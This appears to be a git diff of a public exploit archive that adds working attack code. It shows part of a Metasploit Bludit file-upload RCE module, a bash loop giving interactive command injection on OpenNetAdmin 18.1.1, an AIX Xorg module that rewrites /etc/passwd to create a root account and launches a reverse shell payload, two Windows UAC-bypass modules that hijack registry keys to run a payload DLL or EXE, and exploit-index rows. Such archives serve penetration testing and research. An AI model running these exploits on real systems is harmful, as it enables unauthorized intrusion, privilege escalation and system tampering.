end
|
||||
end
|
||||
|
||||
def upload_php_payload_and_exec(login_badge)
|
||||
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
|
||||
# To: /var/www/html/bludit/bl-content/tmp
|
||||
uuid = get_uuid(login_badge)
|
||||
php_payload = get_php_payload
|
||||
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
|
||||
|
||||
# On the vuln app, this line occurs first:
|
||||
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
|
||||
# Even though there is a file extension check, it won't really stop us
|
||||
# from uploading the .htaccess file.
|
||||
htaccess = <<~HTA
|
||||
RewriteEngine off
|
||||
AddType application/x-httpd-php .png
|
||||
HTA
|
||||
upload_file(login_badge, uuid, htaccess, ".htaccess")
|
||||
register_file_for_cleanup('.htaccess')
|
||||
|
||||
print_status("Executing #{php_payload.name}...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
|
||||
})
|
||||
end
|
||||
|
||||
def get_php_payload
|
||||
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
|
||||
end
|
||||
|
||||
def get_login_badge(res)
|
||||
cookies = res.get_cookies
|
||||
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
|
||||
|
||||
html = res.get_html_document
|
||||
csrf_element = html.at('input[@name="tokenCSRF"]')
|
||||
unless csrf_element
|
||||
fail_with(Failure::Unknown, 'No tokenCSRF found')
|
||||
end
|
||||
|
||||
csrf_val = csrf_element.attributes['value']
|
||||
unless csrf_val && csrf_val.respond_to?(:value)
|
||||
fail_with(Failure::Unknown, 'No tokenCSRF value')
|
||||
end
|
||||
|
||||
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
|
||||
end
|
||||
|
||||
def do_login
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out')
|
||||
end
|
||||
|
||||
login_badge = get_login_badge(res)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||
'vars_post' =>
|
||||
{
|
||||
'tokenCSRF' => login_badge.csrf_token,
|
||||
'username' => login_badge.username,
|
||||
'password' => login_badge.password
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out')
|
||||
end
|
||||
|
||||
# A new csrf value is generated, need to update this for the upload
|
||||
if res.headers['Location'].to_s.include?('/admin/dashboard')
|
||||
store_valid_credential(user: login_badge.username, private: login_badge.password)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
|
||||
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out')
|
||||
end
|
||||
|
||||
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
|
||||
login_badge.csrf_token = new_csrf if new_csrf
|
||||
return login_badge
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
def exploit
|
||||
login_badge = do_login
|
||||
print_good("Logged in as: #{login_badge.username}")
|
||||
upload_php_payload_and_exec(login_badge)
|
||||
end
|
||||
end
|
23
exploits/php/webapps/47691.sh
Executable file
23
exploits/php/webapps/47691.sh
Executable file
|
@ -0,0 +1,23 @@
|
|||
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
|
||||
# Date: 2019-11-19
|
||||
# Exploit Author: mattpascoe
|
||||
# Vendor Homepage: http://opennetadmin.com/
|
||||
# Software Link: https://github.com/opennetadmin/ona
|
||||
# Version: v18.1.1
|
||||
# Tested on: Linux
|
||||
|
||||
# Exploit Title: OpenNetAdmin v18.1.1 RCE
|
||||
# Date: 2019-11-19
|
||||
# Exploit Author: mattpascoe
|
||||
# Vendor Homepage: http://opennetadmin.com/
|
||||
# Software Link: https://github.com/opennetadmin/ona
|
||||
# Version: v18.1.1
|
||||
# Tested on: Linux
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
URL="${1}"
|
||||
while true;do
|
||||
echo -n "$ "; read cmd
|
||||
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
|
||||
done
|
222
exploits/unix/local/47701.rb
Executable file
222
exploits/unix/local/47701.rb
Executable file
|
@ -0,0 +1,222 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xorg X11 Server Local Privilege Escalation',
|
||||
'Description' => %q(
|
||||
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
|
||||
|
||||
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
|
||||
|
||||
A permission check flaw exists for -modulepath and -logfile options when
|
||||
starting Xorg. This allows unprivileged users that can start the server
|
||||
the ability to elevate privileges and run arbitrary code under root
|
||||
privileges.
|
||||
|
||||
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
|
||||
Due to permission restrictions of the crontab in AIX, this module does not use cron,
|
||||
and instead overwrites /etc/passwd in order to create a new user with root privileges.
|
||||
All currently logged in users need to be included when /etc/passwd is overwritten,
|
||||
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
|
||||
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
|
||||
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
|
||||
overwriting /etc/passwd.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Narendra Shinde', # Discovery and original FreeBSD exploit
|
||||
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 25 2018',
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ CONFIG_CHANGES ]
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-14665'],
|
||||
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
|
||||
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
|
||||
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
|
||||
['EDB', '45938']
|
||||
],
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'SessionTypes' => ['shell'],
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'Payload' => 'cmd/unix/reverse_perl'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['IBM AIX Version 6.1', {}],
|
||||
['IBM AIX Version 7.1', {}],
|
||||
['IBM AIX Version 7.2', {}]
|
||||
],
|
||||
'DefaultTarget' => 1))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
xorg_path = cmd_exec('command -v Xorg')
|
||||
if !xorg_path.include?('Xorg')
|
||||
print_error('Could not find Xorg executable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
ksh93_path = cmd_exec('command -v ksh93')
|
||||
if !ksh93_path.include?('ksh')
|
||||
print_error('Could not find Ksh93 executable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if !xorg_vulnerable?
|
||||
print_error('Xorg version is not vulnerable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
status = check
|
||||
|
||||
if status == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, '')
|
||||
end
|
||||
|
||||
if !writable?(datastore['WritableDir'])
|
||||
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
|
||||
end
|
||||
|
||||
xorg_path = cmd_exec('command -v Xorg')
|
||||
ksh93_path = cmd_exec('command -v ksh93')
|
||||
|
||||
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
|
||||
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
|
||||
upload_and_chmodx(xorg_script_path, xorg_payload)
|
||||
|
||||
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
|
||||
print_status("Backing up /etc/passwd to #{passwd_backup}")
|
||||
cmd_exec("cp /etc/passwd #{passwd_backup}")
|
||||
register_file_for_cleanup(passwd_backup)
|
||||
|
||||
print_status("Executing #{xorg_script_path}")
|
||||
cmd_exec(xorg_script_path)
|
||||
print_status('Checking if we are root')
|
||||
|
||||
if root?
|
||||
shell_payload = %(#!#{ksh93_path}
|
||||
#{payload.encoded}
|
||||
)
|
||||
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
|
||||
upload_and_chmodx(shell_script_path, shell_payload)
|
||||
|
||||
print_status('Executing shell payload')
|
||||
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
|
||||
|
||||
print_status('Restoring original /etc/passwd')
|
||||
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, '')
|
||||
end
|
||||
end
|
||||
|
||||
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
|
||||
passwd_file = read_file('/etc/passwd')
|
||||
passwd_array = passwd_file.split("\n")
|
||||
|
||||
print_status('Retrieving currently logged in users')
|
||||
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
||||
users << "\n"
|
||||
users_array = users.split("\n")
|
||||
|
||||
logged_in_users = ''
|
||||
if !users_array.empty?
|
||||
users_array.each do |user|
|
||||
user << ':'
|
||||
passwd_array.each do |line|
|
||||
if line.index(user) == 0
|
||||
logged_in_users << '\n'
|
||||
logged_in_users << line
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
|
||||
|
||||
subdir_count = writabledir.count('/')
|
||||
relative_passwd = '../' * subdir_count + '../../etc/passwd'
|
||||
|
||||
return %(#!#{ksh93_path}
|
||||
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
|
||||
)
|
||||
end
|
||||
|
||||
def xorg_vulnerable?
|
||||
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
|
||||
print_status("Xorg version is #{version}")
|
||||
semantic_version = Gem::Version.new(version)
|
||||
|
||||
vulnerable_versions = [
|
||||
['6.1.9.0', '6.1.9.100'],
|
||||
['7.1.4.0', '7.1.4.30'],
|
||||
['7.1.5.0', '7.1.5.31'],
|
||||
['7.2.0.0', '7.2.0.1'],
|
||||
['7.2.1.0', '7.2.1.0'],
|
||||
['7.2.2.0', '7.2.2.0'],
|
||||
['7.2.3.0', '7.2.3.15']
|
||||
]
|
||||
|
||||
vulnerable_versions.each do |version_pair|
|
||||
if semantic_version >= Gem::Version.new(version_pair[0]) &&
|
||||
semantic_version <= Gem::Version.new(version_pair[1])
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def root?
|
||||
id_output = cmd_exec('su - wow -c "id"')
|
||||
|
||||
if id_output.include?('euid=0') || id_output.include?('uid=0')
|
||||
print_good('Got root!')
|
||||
return true
|
||||
end
|
||||
|
||||
print_error('Not root')
|
||||
false
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
print_status("Writing to #{path}")
|
||||
rm_f(path)
|
||||
write_file(path, data)
|
||||
cmd_exec("chmod 0555 '#{path}'")
|
||||
|
||||
register_file_for_cleanup(path)
|
||||
end
|
||||
end
|
210
exploits/windows/local/47695.rb
Executable file
210
exploits/windows/local/47695.rb
Executable file
|
@ -0,0 +1,210 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
|
||||
'Description' => %q(
|
||||
Microsoft Windows allows for the automatic loading of a profiling COM object during
|
||||
the launch of a CLR process based on certain environment variables ostensibly to
|
||||
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL
|
||||
that will be launched as the profiling thread. This thread will run at the permission
|
||||
level of the calling process, so an auto-elevating process will launch the DLL with
|
||||
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR
|
||||
process, but others would work, too.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Casey Smith', # UAC bypass discovery and research
|
||||
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
|
||||
'bwatters-r7', # Module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
|
||||
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 17 2017'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def write_reg_value(registry_hash)
|
||||
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
|
||||
begin
|
||||
if not registry_key_exist?(registry_hash[:key_name])
|
||||
registry_createkey(registry_hash[:key_name])
|
||||
registry_hash[:delete_on_cleanup] = true
|
||||
else
|
||||
registry_hash[:delete_on_cleanup] = false
|
||||
end
|
||||
registry_setvaldata(registry_hash[:key_name], \
|
||||
registry_hash[:value_name], \
|
||||
registry_hash[:value_value], \
|
||||
registry_hash[:value_type])
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def remove_reg_value(registry_hash)
|
||||
# we may have already deleted the key
|
||||
return unless registry_key_exist?(registry_hash[:key_name])
|
||||
begin
|
||||
if registry_hash[:delete_on_cleanup]
|
||||
vprint_status("Deleting #{registry_hash[:key_name]} key")
|
||||
registry_deletekey(registry_hash[:key_name])
|
||||
else
|
||||
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
|
||||
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_bad("Unable to clean up registry")
|
||||
print_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_permissions!
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
target_filepath = exploit_dir + "gpedit.msc"
|
||||
vprint_status("target_filepath = " + target_filepath)
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
|
||||
# make payload
|
||||
vprint_status("Making Payload")
|
||||
vprint_status("payload_pathname = " + payload_pathname)
|
||||
payload = generate_payload_dll
|
||||
|
||||
uuid = SecureRandom.uuid
|
||||
vprint_status("UUID = #{uuid}")
|
||||
reg_keys = []
|
||||
# This reg key will not hurt anything in windows 10+, but is not required.
|
||||
unless sysinfo['OS'] =~ /Windows (2016|10)/
|
||||
reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
|
||||
value_name: '',
|
||||
value_type: "REG_EXPAND_SZ",
|
||||
value_value: payload_pathname,
|
||||
delete_on_cleanup: false)
|
||||
end
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_PROFILER",
|
||||
value_type: "REG_SZ",
|
||||
value_value: "{#{uuid}}",
|
||||
delete_on_cleanup: false)
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_ENABLE_PROFILING",
|
||||
value_type: "REG_SZ",
|
||||
value_value: "1",
|
||||
delete_on_cleanup: false)
|
||||
reg_keys.push(key_name: "HKCU\\Environment",
|
||||
value_name: "COR_PROFILER_PATH",
|
||||
value_type: "REG_SZ",
|
||||
value_value: payload_pathname,
|
||||
delete_on_cleanup: false)
|
||||
reg_keys.each do |key_hash|
|
||||
write_reg_value(key_hash)
|
||||
end
|
||||
|
||||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
|
||||
vprint_status("Launching " + target_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
|
||||
# wait for a few seconds before cleaning up
|
||||
print_status("Please wait for session and cleanup....")
|
||||
sleep(20)
|
||||
vprint_status("Removing Registry Changes")
|
||||
reg_keys.each do |key_hash|
|
||||
remove_reg_value(key_hash)
|
||||
end
|
||||
vprint_status("Registry Changes Removed")
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
# is_in_admin_group can be nil, true, or false
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
end
|
165
exploits/windows/local/47696.rb
Executable file
165
exploits/windows/local/47696.rb
Executable file
|
@ -0,0 +1,165 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
|
||||
'Description' => %q(
|
||||
This module will bypass Windows UAC by hijacking a special key in the Registry under
|
||||
the current user hive, and inserting a custom command that will get invoked when
|
||||
Window backup and restore is launched. It will spawn a second shell that has the UAC
|
||||
flag turned off.
|
||||
|
||||
This module modifies a registry key, but cleans up the key once the payload has
|
||||
been invoked.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'enigma0x3', # UAC bypass discovery and research
|
||||
'bwatters-r7', # Module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
|
||||
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
|
||||
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 17 2017'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def write_reg_values(registry_key, payload_pathname)
|
||||
begin
|
||||
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
|
||||
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
|
||||
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
|
||||
rescue ::Exception => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_permissions!
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
|
||||
remove_registry_key = !registry_key_exist?(registry_key)
|
||||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
target_filepath = exploit_dir + "sdclt.exe"
|
||||
vprint_status("exploit_file = " + target_filepath)
|
||||
|
||||
# make payload
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
vprint_status("payload_pathname = " + payload_pathname)
|
||||
vprint_status("Making Payload")
|
||||
payload = generate_payload_exe
|
||||
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
|
||||
vprint_status("reg_command = " + reg_command)
|
||||
write_reg_values(registry_key, reg_command)
|
||||
|
||||
# Upload payload
|
||||
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||
write_file(payload_pathname, payload)
|
||||
vprint_status("Payload Upload Complete")
|
||||
|
||||
vprint_status("Launching " + target_filepath)
|
||||
begin
|
||||
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||
rescue ::Exception => e
|
||||
print_error("Executing command failed:\n#{e}")
|
||||
end
|
||||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
|
||||
# wait for a few seconds before cleaning up
|
||||
print_status("Please wait for session and cleanup....")
|
||||
sleep(20)
|
||||
vprint_status("Removing Registry Changes")
|
||||
if remove_registry_key
|
||||
registry_deletekey(registry_key)
|
||||
else
|
||||
registry_deleteval(registry_key, "DelegateExecute")
|
||||
registry_deleteval(registry_key, '')
|
||||
end
|
||||
print_status("Registry Changes Removed")
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
# Check if you are an admin
|
||||
# is_in_admin_group can be nil, true, or false
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
vprint_status('Checking admin status...')
|
||||
case is_in_admin_group?
|
||||
when true
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
when false
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
when nil
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -6601,6 +6601,9 @@ id,file,description,date,author,type,platform,port
|
|||
47677,exploits/hardware/dos/47677.sh,"Centova Cast 3.2.12 - Denial of Service (PoC)",2019-11-19,DroidU,dos,hardware,
|
||||
47678,exploits/ios/dos/47678.py,"scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)",2019-11-19,"Luis Martínez",dos,ios,
|
||||
47679,exploits/windows/dos/47679.py,"XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service",2019-11-19,ZwX,dos,windows,
|
||||
47692,exploits/linux/dos/47692.txt,"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path",2019-11-20,"Google Security Research",dos,linux,
|
||||
47693,exploits/linux/dos/47693.txt,"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs",2019-11-20,"Google Security Research",dos,linux,
|
||||
47694,exploits/ios/dos/47694.txt,"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd",2019-11-20,"Google Security Research",dos,ios,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -10789,6 +10792,9 @@ id,file,description,date,author,type,platform,port
|
|||
47676,exploits/windows/local/47676.txt,"Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path",2019-11-19,"Luis Martínez",local,windows,
|
||||
47684,exploits/windows/local/47684.md,"Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation",2019-11-14,TomahawkAPT69,local,windows,
|
||||
